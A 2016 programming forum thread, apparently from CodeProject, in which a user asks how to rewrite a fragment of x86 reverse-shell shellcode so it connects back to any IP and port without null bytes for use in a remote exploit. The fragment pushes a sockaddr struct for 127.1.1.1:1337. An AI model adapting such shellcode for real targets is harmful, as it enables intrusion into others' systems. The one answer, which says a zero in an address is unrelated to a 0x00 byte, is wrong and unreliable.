How to change the assembly code in this shell for make it work with any IP and port?

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I have read this blog:. In
the complete shellcode, As you read it, I ask the guy who created that blog, he say

C#

keep in mind that your port or ip should not contain a \x00, which could break it

. "If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
So can anyone help me how to edit just one thing :

C++

push 0x0101017f  ;sin_addr=127.1.1.1 (network byte order)
push word 0x3905 ;sin_port=1337 (network byte order)
inc ebx          
push word bx     ;sin_family=AF_INET (0x2)
mov ecx, esp     ;save pointer to sockaddr struct

To make the the shell work with any ip address and port number.

What I have tried:

I'm not good about this. I tried, tried to ask who create the blog. he couldn't answer me. that make me lost 2 day.

Posted 9-May-16 22:49pm

mahou82

Updated 10-May-16 0:03am

Patrice T

v3

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Richard MacCutchan 10-May-16 4:57am

What exactly are you trying to do?

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Patrice T · Answer 1 · 2016-05-09T23:06:00

Quote:
keep in mind that your port or ip should not contain a \x00, which could break it

. "If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".

No you wrong, you look very confused with the 0 values.
0x00 or 0\00 is not the same as "0", they are 2 different beasts.

With better knowledge of Assembler, you would know that they are unrelated.